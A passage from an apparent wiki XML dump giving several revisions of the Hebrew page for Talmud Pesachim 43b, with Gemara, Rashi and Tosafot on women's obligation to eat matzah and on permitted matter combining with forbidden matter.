[דף מג עמוד ב] {{הל&quot;מ-רק-גמרא|סלקא דעתך אמינא: הואיל וכתיב לא תאכל עליו חמץ שבעת ימים תאכל עליו מצות כל שישנו בקום אכול מצה - ישנו בבל תאכל חמץ, והני נשי הואיל וליתנהו בקום אכול מצה, דהויא ליה מצות עשה שהזמן גרמא (היא) - אימא בבל תאכל חמץ נמי ליתנהו, קא משמע לן. והשתא דאתרבו להו בבל תאכל חמץ - איתרבי נמי לאכילת מצה, כרבי (אליעזר) +מסורת הש&quot;ס: [אלעזר]+. דאמר רבי אליעזר: }}{{שוליים|א}}{{הל&quot;מ-רק-גמרא|נשים חייבות באכילת מצה דבר תורה, שנאמר לא תאכל עליו חמץ וגו' כל שישנו בבל תאכל חמץ - ישנו באכילת מצה. והני נשי נמי, הואיל וישנן בבל תאכל חמץ - ישנן בקום אכול מצה. ומאי חזית דהאי כל לרבויי נשים ומפקת עירובו, אימא לרבויי עירובו! - מסתברא, קאי באוכלין - מרבה אוכלין, קאי באוכלין מרבה נאכלין? - מתקיף לה רב נתן אבוה דרב הונא (בריה דרב נתן): וכל היכא דקאי באוכלין לא מרבה נאכלין? והא תניא: כי כל אכל חלב מן הבהמה אשר יקריב, אין לי אלא חלב תמימין שראוי ליקרב, חלב בעלי מומין מנין - תלמוד לומר מן הבהמה. חלב חולין מנין - תלמוד לומר כי כל והא הכא, דקאי באוכלין וקא מרבה נאכלין! - התם דליכא אוכלין - מרבה נאכלין, הכא דאיכא אוכלין - לא שביק להו לאוכלין ומרבה נאכלין. ורבנן דלית להו עירוב - כל לא דרשי. אלא, נשים מנא להו? - כל - לא דרשי, כי כל דרשי. - ורבי אליעזר, אימא: }}{{שוליים|ב}}{{הל&quot;מ-רק-גמרא|כל - לרבות את הנשים, כי כל - לרבות את עירובו! וכי תימא: כי כל - רבי אליעזר לא דריש - והתניא: שאר בל תקטירו אין לי אלא כולו, מקצתו מניין - תלמוד לומר כל עירובו מניין - תלמוד לומר כי כל. מאן שמעת ליה דדריש כל - רבי אליעזר, וקא דריש כי כל! קשיא. }}
{{הל&quot;מ-רק-גמרא|אמר רבי אבהו אמר רבי יוחנן: כל איסורין שבתורה אין היתר מצטרף לאיסור, חוץ מאיסורי נזיר, שהרי אמרה תורה משרת. וזעירי אמר: אף שאור בל תקטירו. כמאן - כרבי אליעזר, דדריש כל. אי הכי – }}
&lt;קטע סוף=ג/&gt;
&lt;/div&gt;

&lt;div class='gmara_rashi'&gt;
==רש&quot;י==
&lt;קטע התחלה=ר/&gt;

'''מצות עשה שהזמן גרמא''' -  נפקא לן בפ&quot;ק דקידושין {{הפניה-גמ|קידושין|כט|א}} דנשים פטורות:

'''קמ&quot;ל''' -  האי כל דמוזהרות על החמץ וכיון דמוזהרות על לאו דחמץ חייבות בעשה דאכילת מצה לילה הראשון ואע&quot;ג דזמן גרמא כר' אליעזר הואיל וישנן בבל תאכל חמץ דנפקא לן מכל אוכל חמץ ישנן בקום אכול מצה:

'''קאי באוכלין''' -  כל דגבי כרת באוכלי חמץ כתיב אבל כל דאזהרה בנאכל כתיב כל מחמצת:

'''קאי באוכלין מרבה נאכלין''' -  בתמיה:

'''אשר יקריב''' -  משמע קדשים ושיהיו תמימים:

'''התם דליכא לרבויי אוכלין''' -  דהא נשים מדרב יהודה נפקי השוה הכתוב אשה לאיש לכל עונשין שבתורה:

'''הכא דאיכא לרבויי אוכלין''' -  דנשים באיסור חמץ דלא נפקי לן מדרב יהודה כדאמרן לעיל לא שביק אוכלין ומרבה נאכלין:

'''ופרכינן ורבנן''' -  דפליגי אדר&quot;א בעירוב דחמץ כיון דלית להו לאו בעירוב פשיטא כל דכתיב גבי אזהרה דכל מחמצת לא דרשי והשתא על כרחך כל דגבי כרת לרבויי נשים נמי לא דרשי ואלא נשים מנא להו:

'''כל''' -  דגבי אזהרה דלא כתיב כי בהדיה לא דרשינן לרבויי נאכלין דעירובו אבל גבי כרת דאוכלין כתיב כי כל אוכל דרשינן ליה:

'''ומקשינן ור&quot;א אימא כל''' -  דכרת לרבויי נשים כי כל דכרת לרבויי עירובו נמי לכרת דכיון דליכא תו אוכלין לרבויי מרבינן ביה נאכלין כדאמרן גבי חלב ואימא על עירובו בכרת:

'''אין לי אלא כולו''' -  בזמן שכל ההקטר מן השאור:

'''מקצתו''' -  חצי זית שאינו הקטר שלם דאין הקטרה פחותה מכזית:

'''עירובו מניין''' -  כשאינו בעין אלא מעורב ונבלל עם מנחה הוגנת של מצות לאחר שפתתן דאינן בעין:

'''אין היתר מצטרף לאיסור''' -  אכל חצי זית חלב וחצי זית בשר בבת אחת אין היתר משלים את שיעור האיסור לחייבו חוץ מאיסורי נזיר שאם אכל חצי זית ענבים וחצי זית לחם בבת אחת חייב שהרי אמרה תורה משרת ענבים לא ישתה חייב על שריית פתו ביין ואי איכא מיין לחודה כזית למה לי קרא וכל משרת לא גרסינן ואית דגרסי ליה ומפרשי דאפילו לרבנן דלא דרשי כל וכל דרשי ולא היא דהא פרכינן לקמן האי מיבעיא ליה לכדתניא משרת ליתן טעם כעיקר ואם איתא נימא ליה אנא טעמא דידי מוכל אלא ממשמעותא דמשרת נפקא ליה וכל לא דריש:

'''אף שאור בל תקטירו''' -  נמי היתר מצטרף לאיסור חצי זית קומץ דשאור וחצי זית דמצה ואינן מעורבין אלא כל אחד ניכר:

'''כר&quot;א דדריש כל''' -  לעיל ומהתם נפקא ליה כדאמרן לעיל מקצתו מניין ת&quot;ל כל ודריש ליה הכי מקצתו מניין חצי זית שאור וחצי זית מצה עמו:&lt;קטע סוף=ר/&gt;
&lt;/div&gt;

&lt;div class='gmara_tosfot'&gt;
==תוספות==
&lt;קטע התחלה=ת/&gt;
[[File:תוס פסחים 3 מג ב סלקא דעתך אמינא כל שישנו בקום אכול מצה.ogg|thumb|תוס_פסחים_3_מג_ב_סלקא דעתך אמינא כל שישנו בקום אכול מצה]]
'''סלקא''' דעתך אמינא כל שישנו בקום אכול מצה. תימה לר&quot;י היכי סלקא דעתך למידרש הכי אדרבה איפכא יש לדרוש דלחומרא מקשינן ואור&quot;י דס&quot;ד דאורחיה דקרא דסיפא מפרש לרישיה משום הכי אמר דבאכילת מצה תלוי דכתיבא בסוף ועוד יש לומר דהכא יש לדרוש יותר היתר לנשים משום ג&quot;ש דט&quot;ו מחג הסוכות והוו מיפטרי ממצה כמו מסוכה דפטר להו בהדיא בפ' הישן {{ממ|סוכה כח|א}} מהלכה למשה מסיני יש מקשים למה נשים אין חייבות בציצי' משום דכל שישנו בלבישת שעטנז ישנו בגדילים כדדרשינן בערכין {{הפניה-גמ|ערכין|ג|ב}} גבי כהנים ולפירוש ר&quot;י דפי' דמסיפא לרישא סברא לדרוש קשה להפך שלא יהו נשים חייבות בכלאים וכי תימא ה&quot;נ והא בפ&quot;ק דביצה {{הפניה-גמ|ביצה|יד|ב}} משמע דכלאים לא חזו למידי:

''' אין''' לי אלא כולו מקצתו מנין. בפרק כל המנחות באות מצה {{ממ|מנחות נח|א}} מפרש אביי אין לי אלא כולו דהיינו כזית מקצתו חצי זית מניין ורבא אמר התם דה&quot;ק אין לי אלא קומץ כולו מקצת קומץ מניין ומסיק התם דאיכא בינייהו דאביי סבר דיש קומץ בפחות מב' זיתים דהיינו כזית לכך מפרש כולו כזית וסבר נמי דיש הקטרה בפחות מזית ואע&quot;ג דבפ' כיצד צולין (לקמן עט.) א&quot;ר יהושע כל הזבחים שבתורה שנשתייר מהן כזית בשר וכזית חלב זורק את הדם משמע דאין הקטרה בפחות מכזית הכא היינו טעמא משום דסבר דיש קומץ בפחות מב' זיתים א&quot;כ כשריבה הכתוב חצי קומץ ע&quot;כ ריבה חצי זית ורבא סבר אין קומץ בפחות מב' זיתים ואין הקטרה בפחות מזית:

''' מאן''' שמעת ליה דדריש כל ר' אליעזר. אף על גב דר&quot;ע נמי דריש כל בפ' התערובות {{ממ|זבחים פב|א}} גבי כל חטאת לא קשה דאפילו יהא כר&quot;ע מ&quot;מ לא מישתמיט תנא למימר (שיסבור) שיהא תערובת חמץ בכרת ועוד נראה לר&quot;י דאפילו לרבנן דלא דרשי הכא כל דרשי בעלמא בריש מרובה {{ממ|בבא קמא|סג|א}} דאמר כל רבויא הוא ובפ' שני דסוכה {{הפניה-גמ|סוכה|כח|א}} גבי כל האזרח ודווקא הכא לא דרשי בדבר שאין סברא לרבות כגון עירובו וכגון נשים משום היקשא וכגון מקצת דבל תקטירו וה&quot;פ כמאן כר&quot;א דדריש כל אפילו לדבר שאין סברא לרבות כגון עירובו וכגון נשים ואהא קאמר נמי דרבנן לא דרשי כל:

''' חוץ''' מאיסורי נזיר. אע&quot;ג דחטאת נמי קאמר לקמן לרבי יוחנן היתר מצטרף לאיסור הכא לא חשיב חטאת דבקדשים לא קמיירי:

''' כמאן''' כר&quot;א דדריש כל. נראה לר&quot;י דזעירי משמע ליה דשאור היתר מצטרף לאיסור מדקתני עירובו מניין ת&quot;ל כי כל ומדרבי עירובו א&quot;כ היתר מצטרף לאיסור והיינו כדרבא דלדידיה ה&quot;פ מקצתו מניין היינו זית שלם אבל לאביי דמפרש מקצתו מניין חצי זית לא שייך היתר מצטרף לאיסור דאמשהו דאיסור לחודיה מיחייב והא דמרבה עירובו היינו כשמתערב לגמרי ולא אמר שיתבטל האיסור אגב ההיתר והא דקאמר כמאן כר&quot;א דדריש כל משום דלרבנן אף על גב דדרשי כי כל לא מוקמא ליה לרבות עירובו אלא לרבות מקצתו ורש&quot;י פירש דזעירי משמע ליה מקצת היינו חצי זית קומץ דשאור וחצי זית דמצה ואין מעורבין אלא כל אחד ניכר וק&quot;ל לפירושו טובא חדא דלא הוי זעירי לא כאביי ולא כרבא ועוד מאי קאמר כמאן כר&quot;א הא כרבנן נמי אתיא דהא כי כל דרשי ומוקמינן ליה אמקצתו דהיינו היתר מצטרף לאיסור לפ&quot;ה ועוד בחמץ מנ&quot;ל תערובת כיון דצריך קרא להיתר מצטרף לאיסור ועוד דלפ&quot;ה צ&quot;ל מקצתו מניין פי' חצי זית איסור וחצי זית היתר שאינם מעורבים יחד דאי לאו הכי היינו עירוב ולקמן גבי חטאת משמע דאין היתר מצטרף לאיסור אם לא שיתערב האיסור וההיתר יחד דהא אמר עד שיבלע בבשרה:&lt;קטע סוף=ת/&gt;
&lt;/div&gt;

==עין משפט ונר מצוה==
{{קטע עם כותרת|עין משפט ונר מצוה/פסחים/פרק ג|מג ב}}
[[קטגוריה:בבלי מסכת פסחים]]
{{מפרשים לדף גמרא|פסחים|ג|מג|ב}}</text>
      <sha1>qr8puxz1rfyergnylggxglcuhikyhfn</sha1>
    </revision>
    <revision>
      <id>3020697</id>
      <parentid>3020695</parentid>
      <timestamp>2026-06-18T19:45:10Z</timestamp>
      <contributor>
        <username>מאירושולי</username>
        <id>35234</id>
      </contributor>
      <comment>/* תוספות */</comment>
      <origin>3020697</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="12404" sha1="dtx0fjdj8is42kmxsmt6lcz5hunm1ft" xml:space="preserve">{{כותרת_ביאור_הלמ|פסחים|מג|ב|מג א|מד א|ביאור=כן}}
&lt;קטע התחלה=ג/&gt;
[דף מג עמוד ב] {{הל&quot;מ-רק-גמרא|סלקא דעתך אמינא: הואיל וכתיב לא תאכל עליו חמץ שבעת ימים תאכל עליו מצות כל שישנו בקום אכול מצה - ישנו בבל תאכל חמץ, והני נשי הואיל וליתנהו בקום אכול מצה, דהויא ליה מצות עשה שהזמן גרמא (היא) - אימא בבל תאכל חמץ נמי ליתנהו, קא משמע לן. והשתא דאתרבו להו בבל תאכל חמץ - איתרבי נמי לאכילת מצה, כרבי (אליעזר) +מסורת הש&quot;ס: [אלעזר]+. דאמר רבי אליעזר: }}{{שוליים|א}}{{הל&quot;מ-רק-גמרא|נשים חייבות באכילת מצה דבר תורה, שנאמר לא תאכל עליו חמץ וגו' כל שישנו בבל תאכל חמץ - ישנו באכילת מצה. והני נשי נמי, הואיל וישנן בבל תאכל חמץ - ישנן בקום אכול מצה. ומאי חזית דהאי כל לרבויי נשים ומפקת עירובו, אימא לרבויי עירובו! - מסתברא, קאי באוכלין - מרבה אוכלין, קאי באוכלין מרבה נאכלין? - מתקיף לה רב נתן אבוה דרב הונא (בריה דרב נתן): וכל היכא דקאי באוכלין לא מרבה נאכלין? והא תניא: כי כל אכל חלב מן הבהמה אשר יקריב, אין לי אלא חלב תמימין שראוי ליקרב, חלב בעלי מומין מנין - תלמוד לומר מן הבהמה. חלב חולין מנין - תלמוד לומר כי כל והא הכא, דקאי באוכלין וקא מרבה נאכלין! - התם דליכא אוכלין - מרבה נאכלין, הכא דאיכא אוכלין - לא שביק להו לאוכלין ומרבה נאכלין. ורבנן דלית להו עירוב - כל לא דרשי. אלא, נשים מנא להו? - כל - לא דרשי, כי כל דרשי. - ורבי אליעזר, אימא: }}{{שוליים|ב}}{{הל&quot;מ-רק-גמרא|כל - לרבות את הנשים, כי כל - לרבות את עירובו! וכי תימא: כי כל - רבי אליעזר לא דריש - והתניא: שאר בל תקטירו אין לי אלא כולו, מקצתו מניין - תלמוד לומר כל עירובו מניין - תלמוד לומר כי כל. מאן שמעת ליה דדריש כל - רבי אליעזר, וקא דריש כי כל! קשיא. }}
{{הל&quot;מ-רק-גמרא|אמר רבי אבהו אמר רבי יוחנן: כל איסורין שבתורה אין היתר מצטרף לאיסור, חוץ מאיסורי נזיר, שהרי אמרה תורה משרת. וזעירי אמר: אף שאור בל תקטירו. כמאן - כרבי אליעזר, דדריש כל. אי הכי – }}
&lt;קטע סוף=ג/&gt;
&lt;/div&gt;

&lt;div class='gmara_rashi'&gt;
==רש&quot;י==
&lt;קטע התחלה=ר/&gt;

'''מצות עשה שהזמן גרמא''' -  נפקא לן בפ&quot;ק דקידושין {{הפניה-גמ|קידושין|כט|א}} דנשים פטורות:

'''קמ&quot;ל''' -  האי כל דמוזהרות על החמץ וכיון דמוזהרות על לאו דחמץ חייבות בעשה דאכילת מצה לילה הראשון ואע&quot;ג דזמן גרמא כר' אליעזר הואיל וישנן בבל תאכל חמץ דנפקא לן מכל אוכל חמץ ישנן בקום אכול מצה:

'''קאי באוכלין''' -  כל דגבי כרת באוכלי חמץ כתיב אבל כל דאזהרה בנאכל כתיב כל מחמצת:

'''קאי באוכלין מרבה נאכלין''' -  בתמיה:

'''אשר יקריב''' -  משמע קדשים ושיהיו תמימים:

'''התם דליכא לרבויי אוכלין''' -  דהא נשים מדרב יהודה נפקי השוה הכתוב אשה לאיש לכל עונשין שבתורה:

'''הכא דאיכא לרבויי אוכלין''' -  דנשים באיסור חמץ דלא נפקי לן מדרב יהודה כדאמרן לעיל לא שביק אוכלין ומרבה נאכלין:

'''ופרכינן ורבנן''' -  דפליגי אדר&quot;א בעירוב דחמץ כיון דלית להו לאו בעירוב פשיטא כל דכתיב גבי אזהרה דכל מחמצת לא דרשי והשתא על כרחך כל דגבי כרת לרבויי נשים נמי לא דרשי ואלא נשים מנא להו:

'''כל''' -  דגבי אזהרה דלא כתיב כי בהדיה לא דרשינן לרבויי נאכלין דעירובו אבל גבי כרת דאוכלין כתיב כי כל אוכל דרשינן ליה:

'''ומקשינן ור&quot;א אימא כל''' -  דכרת לרבויי נשים כי כל דכרת לרבויי עירובו נמי לכרת דכיון דליכא תו אוכלין לרבויי מרבינן ביה נאכלין כדאמרן גבי חלב ואימא על עירובו בכרת:

'''אין לי אלא כולו''' -  בזמן שכל ההקטר מן השאור:

'''מקצתו''' -  חצי זית שאינו הקטר שלם דאין הקטרה פחותה מכזית:

'''עירובו מניין''' -  כשאינו בעין אלא מעורב ונבלל עם מנחה הוגנת של מצות לאחר שפתתן דאינן בעין:

'''אין היתר מצטרף לאיסור''' -  אכל חצי זית חלב וחצי זית בשר בבת אחת אין היתר משלים את שיעור האיסור לחייבו חוץ מאיסורי נזיר שאם אכל חצי זית ענבים וחצי זית לחם בבת אחת חייב שהרי אמרה תורה משרת ענבים לא ישתה חייב על שריית פתו ביין ואי איכא מיין לחודה כזית למה לי קרא וכל משרת לא גרסינן ואית דגרסי ליה ומפרשי דאפילו לרבנן דלא דרשי כל וכל דרשי ולא היא דהא פרכינן לקמן האי מיבעיא ליה לכדתניא משרת ליתן טעם כעיקר ואם איתא נימא ליה אנא טעמא דידי מוכל אלא ממשמעותא דמשרת נפקא ליה וכל לא דריש:

'''אף שאור בל תקטירו''' -  נמי היתר מצטרף לאיסור חצי זית קומץ דשאור וחצי זית דמצה ואינן מעורבין אלא כל אחד ניכר:

'''כר&quot;א דדריש כל''' -  לעיל ומהתם נפקא ליה כדאמרן לעיל מקצתו מניין ת&quot;ל כל ודריש ליה הכי מקצתו מניין חצי זית שאור וחצי זית מצה עמו:&lt;קטע סוף=ר/&gt;
&lt;/div&gt;

&lt;div class='gmara_tosfot'&gt;
==תוספות==
&lt;קטע התחלה=ת/&gt;
[[File:תוס פסחים 3 מג ב סלקא דעתך אמינא כל שישנו בקום אכול מצה.ogg|thumb|תוס_פסחים_3_מג_ב_סלקא דעתך אמינא כל שישנו בקום אכול מצה]]
'''סלקא''' דעתך אמינא כל שישנו בקום אכול מצה. תימה לר&quot;י היכי סלקא דעתך למידרש הכי אדרבה איפכא יש לדרוש דלחומרא מקשינן ואור&quot;י דס&quot;ד דאורחיה דקרא דסיפא מפרש לרישיה משום הכי אמר דבאכילת מצה תלוי דכתיבא בסוף ועוד יש לומר דהכא יש לדרוש יותר היתר לנשים משום ג&quot;ש דט&quot;ו מחג הסוכות והוו מיפטרי ממצה כמו מסוכה דפטר להו בהדיא בפ' הישן {{ממ|סוכה כח|א}} מהלכה למשה מסיני יש מקשים למה נשים אין חייבות בציצי' משום דכל שישנו בלבישת שעטנז ישנו בגדילים כדדרשינן בערכין {{הפניה-גמ|ערכין|ג|ב}} גבי כהנים ולפירוש ר&quot;י דפי' דמסיפא לרישא סברא לדרוש קשה להפך שלא יהו נשים חייבות בכלאים וכי תימא ה&quot;נ והא בפ&quot;ק דביצה {{הפניה-גמ|ביצה|יד|ב}} משמע דכלאים לא חזו למידי:
[[File:תוס פסחים 3 מג ב אין לי אלא כולו מקצתו מנין.ogg|thumb|תוס_פסחים_3_מג_ב_אין לי אלא כולו מקצתו מנין]]
''' אין''' לי אלא כולו מקצתו מנין. בפרק כל המנחות באות מצה {{ממ|מנחות נח|א}} מפרש אביי אין לי אלא כולו דהיינו כזית מקצתו חצי זית מניין ורבא אמר התם דה&quot;ק אין לי אלא קומץ כולו מקצת קומץ מניין ומסיק התם דאיכא בינייהו דאביי סבר דיש קומץ בפחות מב' זיתים דהיינו כזית לכך מפרש כולו כזית וסבר נמי דיש הקטרה בפחות מזית ואע&quot;ג דבפ' כיצד צולין (לקמן עט.) א&quot;ר יהושע כל הזבחים שבתורה שנשתייר מהן כזית בשר וכזית חלב זורק את הדם משמע דאין הקטרה בפחות מכזית הכא היינו טעמא משום דסבר דיש קומץ בפחות מב' זיתים א&quot;כ כשריבה הכתוב חצי קומץ ע&quot;כ ריבה חצי זית ורבא סבר אין קומץ בפחות מב' זיתים ואין הקטרה בפחות מזית:

''' מאן''' שמעת ליה דדריש כל ר' אליעזר. אף על גב דר&quot;ע נמי דריש כל בפ' התערובות {{ממ|זבחים פב|א}} גבי כל חטאת לא קשה דאפילו יהא כר&quot;ע מ&quot;מ לא מישתמיט תנא למימר (שיסבור) שיהא תערובת חמץ בכרת ועוד נראה לר&quot;י דאפילו לרבנן דלא דרשי הכא כל דרשי בעלמא בריש מרובה {{ממ|בבא קמא|סג|א}} דאמר כל רבויא הוא ובפ' שני דסוכה {{הפניה-גמ|סוכה|כח|א}} גבי כל האזרח ודווקא הכא לא דרשי בדבר שאין סברא לרבות כגון עירובו וכגון נשים משום היקשא וכגון מקצת דבל תקטירו וה&quot;פ כמאן כר&quot;א דדריש כל אפילו לדבר שאין סברא לרבות כגון עירובו וכגון נשים ואהא קאמר נמי דרבנן לא דרשי כל:

''' חוץ''' מאיסורי נזיר. אע&quot;ג דחטאת נמי קאמר לקמן לרבי יוחנן היתר מצטרף לאיסור הכא לא חשיב חטאת דבקדשים לא קמיירי:

''' כמאן''' כר&quot;א דדריש כל. נראה לר&quot;י דזעירי משמע ליה דשאור היתר מצטרף לאיסור מדקתני עירובו מניין ת&quot;ל כי כל ומדרבי עירובו א&quot;כ היתר מצטרף לאיסור והיינו כדרבא דלדידיה ה&quot;פ מקצתו מניין היינו זית שלם אבל לאביי דמפרש מקצתו מניין חצי זית לא שייך היתר מצטרף לאיסור דאמשהו דאיסור לחודיה מיחייב והא דמרבה עירובו היינו כשמתערב לגמרי ולא אמר שיתבטל האיסור אגב ההיתר והא דקאמר כמאן כר&quot;א דדריש כל משום דלרבנן אף על גב דדרשי כי כל לא מוקמא ליה לרבות עירובו אלא לרבות מקצתו ורש&quot;י פירש דזעירי משמע ליה מקצת היינו חצי זית קומץ דשאור וחצי זית דמצה ואין מעורבין אלא כל אחד ניכר וק&quot;ל לפירושו טובא חדא דלא הוי זעירי לא כאביי ולא כרבא ועוד מאי קאמר כמאן כר&quot;א הא כרבנן נמי אתיא דהא כי כל דרשי ומוקמינן ליה אמקצתו דהיינו היתר מצטרף לאיסור לפ&quot;ה ועוד בחמץ מנ&quot;ל תערובת כיון דצריך קרא להיתר מצטרף לאיסור ועוד דלפ&quot;ה צ&quot;ל מקצתו מניין פי' חצי זית איסור וחצי זית היתר שאינם מעורבים יחד דאי לאו הכי היינו עירוב ולקמן גבי חטאת משמע דאין היתר מצטרף לאיסור אם לא שיתערב האיסור וההיתר יחד דהא אמר עד שיבלע בבשרה:&lt;קטע סוף=ת/&gt;
&lt;/div&gt;

==עין משפט ונר מצוה==
{{קטע עם כותרת|עין משפט ונר מצוה/פסחים/פרק ג|מג ב}}
[[קטגוריה:בבלי מסכת פסחים]]
{{מפרשים לדף גמרא|פסחים|ג|מג|ב}}</text>
      <sha1>dtx0fjdj8is42kmxsmt6lcz5hunm1ft</sha1>
    </revision>
    <revision>
      <id>3020702</id>
      <parentid>3020697</parentid>
      <timestamp>2026-06-18T20:22:25Z</timestamp>
      <contributor>
        <username>מאירושולי</username>
        <id>35234</id>
      </contributor>
      <comment>/* תוספות */</comment>
      <origin>3020702</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="12591" sha1="c39tidaid5kowx1d0ynr9mbsjveslh4" xml:space="preserve">{{כותרת_ביאור_הלמ|פסחים|מג|ב|מג א|מד א|ביאור=כן}}
&lt;קטע התחלה=ג/&gt;
[דף מג עמוד ב] {{הל&quot;מ-רק-גמרא|סלקא דעתך אמינא: הואיל וכתיב לא תאכל עליו חמץ שבעת ימים תאכל עליו מצות כל שישנו בקום אכול מצה - ישנו בבל תאכל חמץ, והני נשי הואיל וליתנהו בקום אכול מצה, דהויא ליה מצות עשה שהזמן גרמא (היא) - אימא בבל תאכל חמץ נמי ליתנהו, קא משמע לן. והשתא דאתרבו להו בבל תאכל חמץ - איתרבי נמי לאכילת מצה, כרבי (אליעזר) +מסורת הש&quot;ס: [אלעזר]+. דאמר רבי אליעזר: }}{{שוליים|א}}{{הל&quot;מ-רק-גמרא|נשים חייבות באכילת מצה דבר תורה, שנאמר לא תאכל עליו חמץ וגו' כל שישנו בבל תאכל חמץ - ישנו באכילת מצה. והני נשי נמי, הואיל וישנן בבל תאכל חמץ - ישנן בקום אכול מצה. ומאי חזית דהאי כל לרבויי נשים ומפקת עירובו, אימא לרבויי עירובו! - מסתברא, קאי באוכלין - מרבה אוכלין, קאי באוכלין מרבה נאכלין? - מתקיף לה רב נתן אבוה דרב הונא (בריה דרב נתן): וכל היכא דקאי באוכלין לא מרבה נאכלין? והא תניא: כי כל אכל חלב מן הבהמה אשר יקריב, אין לי אלא חלב תמימין שראוי ליקרב, חלב בעלי מומין מנין - תלמוד לומר מן הבהמה. חלב חולין מנין - תלמוד לומר כי כל והא הכא, דקאי באוכלין וקא מרבה נאכלין! - התם דליכא אוכלין - מרבה נאכלין, הכא דאיכא אוכלין - לא שביק להו לאוכלין ומרבה נאכלין. ורבנן דלית להו עירוב - כל לא דרשי. אלא, נשים מנא להו? - כל - לא דרשי, כי כל דרשי. - ורבי אליעזר, אימא: }}{{שוליים|ב}}{{הל&quot;מ-רק-גמרא|כל - לרבות את הנשים, כי כל - לרבות את עירובו! וכי תימא: כי כל - רבי אליעזר לא דריש - והתניא: שאר בל תקטירו אין לי אלא כולו, מקצתו מניין - תלמוד לומר כל עירובו מניין - תלמוד לומר כי כל. מאן שמעת ליה דדריש כל - רבי אליעזר, וקא דריש כי כל! קשיא. }}
{{הל&quot;מ-רק-גמרא|אמר רבי אבהו אמר רבי יוחנן: כל איסורין שבתורה אין היתר מצטרף לאיסור, חוץ מאיסורי נזיר, שהרי אמרה תורה משרת. וזעירי אמר: אף שאור בל תקטירו. כמאן - כרבי אליעזר, דדריש כל. אי הכי – }}
&lt;קטע סוף=ג/&gt;
&lt;/div&gt;

&lt;div class='gmara_rashi'&gt;
==רש&quot;י==
&lt;קטע התחלה=ר/&gt;

'''מצות עשה שהזמן גרמא''' -  נפקא לן בפ&quot;ק דקידושין {{הפניה-גמ|קידושין|כט|א}} דנשים פטורות:

'''קמ&quot;ל''' -  האי כל דמוזהרות על החמץ וכיון דמוזהרות על לאו דחמץ חייבות בעשה דאכילת מצה לילה הראשון ואע&quot;ג דזמן גרמא כר' אליעזר הואיל וישנן בבל תאכל חמץ דנפקא לן מכל אוכל חמץ ישנן בקום אכול מצה:

'''קאי באוכלין''' -  כל דגבי כרת באוכלי חמץ כתיב אבל כל דאזהרה בנאכל כתיב כל מחמצת:

'''קאי באוכלין מרבה נאכלין''' -  בתמיה:

'''אשר יקריב''' -  משמע קדשים ושיהיו תמימים:

'''התם דליכא לרבויי אוכלין''' -  דהא נשים מדרב יהודה נפקי השוה הכתוב אשה לאיש לכל עונשין שבתורה:

'''הכא דאיכא לרבויי אוכלין''' -  דנשים באיסור חמץ דלא נפקי לן מדרב יהודה כדאמרן לעיל לא שביק אוכלין ומרבה נאכלין:

'''ופרכינן ורבנן''' -  דפליגי אדר&quot;א בעירוב דחמץ כיון דלית להו לאו בעירוב פשיטא כל דכתיב גבי אזהרה דכל מחמצת לא דרשי והשתא על כרחך כל דגבי כרת לרבויי נשים נמי לא דרשי ואלא נשים מנא להו:

'''כל''' -  דגבי אזהרה דלא כתיב כי בהדיה לא דרשינן לרבויי נאכלין דעירובו אבל גבי כרת דאוכלין כתיב כי כל אוכל דרשינן ליה:

'''ומקשינן ור&quot;א אימא כל''' -  דכרת לרבויי נשים כי כל דכרת לרבויי עירובו נמי לכרת דכיון דליכא תו אוכלין לרבויי מרבינן ביה נאכלין כדאמרן גבי חלב ואימא על עירובו בכרת:

'''אין לי אלא כולו''' -  בזמן שכל ההקטר מן השאור:

'''מקצתו''' -  חצי זית שאינו הקטר שלם דאין הקטרה פחותה מכזית:

'''עירובו מניין''' -  כשאינו בעין אלא מעורב ונבלל עם מנחה הוגנת של מצות לאחר שפתתן דאינן בעין:

'''אין היתר מצטרף לאיסור''' -  אכל חצי זית חלב וחצי זית בשר בבת אחת אין היתר משלים את שיעור האיסור לחייבו חוץ מאיסורי נזיר שאם אכל חצי זית ענבים וחצי זית לחם בבת אחת חייב שהרי אמרה תורה משרת ענבים לא ישתה חייב על שריית פתו ביין ואי איכא מיין לחודה כזית למה לי קרא וכל משרת לא גרסינן ואית דגרסי ליה ומפרשי דאפילו לרבנן דלא דרשי כל וכל דרשי ולא היא דהא פרכינן לקמן האי מיבעיא ליה לכדתניא משרת ליתן טעם כעיקר ואם איתא נימא ליה אנא טעמא דידי מוכל אלא ממשמעותא דמשרת נפקא ליה וכל לא דריש:

'''אף שאור בל תקטירו''' -  נמי היתר מצטרף לאיסור חצי זית קומץ דשאור וחצי זית דמצה ואינן מעורבין אלא כל אחד ניכר:

'''כר&quot;א דדריש כל''' -  לעיל ומהתם נפקא ליה כדאמרן לעיל מקצתו מניין ת&quot;ל כל ודריש ליה הכי מקצתו מניין חצי זית שאור וחצי זית מצה עמו:&lt;קטע סוף=ר/&gt;
&lt;/div&gt;

&lt;div class='gmara_tosfot'&gt;
==תוספות==
&lt;קטע התחלה=ת/&gt;
[[File:תוס פסחים 3 מג ב סלקא דעתך אמינא כל שישנו בקום אכול מצה.ogg|thumb|תוס_פסחים_3_מג_ב_סלקא דעתך אמינא כל שישנו בקום אכול מצה]]
'''סלקא''' דעתך אמינא כל שישנו בקום אכול מצה. תימה לר&quot;י היכי סלקא דעתך למידרש הכי אדרבה איפכא יש לדרוש דלחומרא מקשינן ואור&quot;י דס&quot;ד דאורחיה דקרא דסיפא מפרש לרישיה משום הכי אמר דבאכילת מצה תלוי דכתיבא בסוף ועוד יש לומר דהכא יש לדרוש יותר היתר לנשים משום ג&quot;ש דט&quot;ו מחג הסוכות והוו מיפטרי ממצה כמו מסוכה דפטר להו בהדיא בפ' הישן {{ממ|סוכה כח|א}} מהלכה למשה מסיני יש מקשים למה נשים אין חייבות בציצי' משום דכל שישנו בלבישת שעטנז ישנו בגדילים כדדרשינן בערכין {{הפניה-גמ|ערכין|ג|ב}} גבי כהנים ולפירוש ר&quot;י דפי' דמסיפא לרישא סברא לדרוש קשה להפך שלא יהו נשים חייבות בכלאים וכי תימא ה&quot;נ והא בפ&quot;ק דביצה {{הפניה-גמ|ביצה|יד|ב}} משמע דכלאים לא חזו למידי:
[[File:תוס פסחים 3 מג ב אין לי אלא כולו מקצתו מנין.ogg|thumb|תוס_פסחים_3_מג_ב_אין לי אלא כולו מקצתו מנין]]
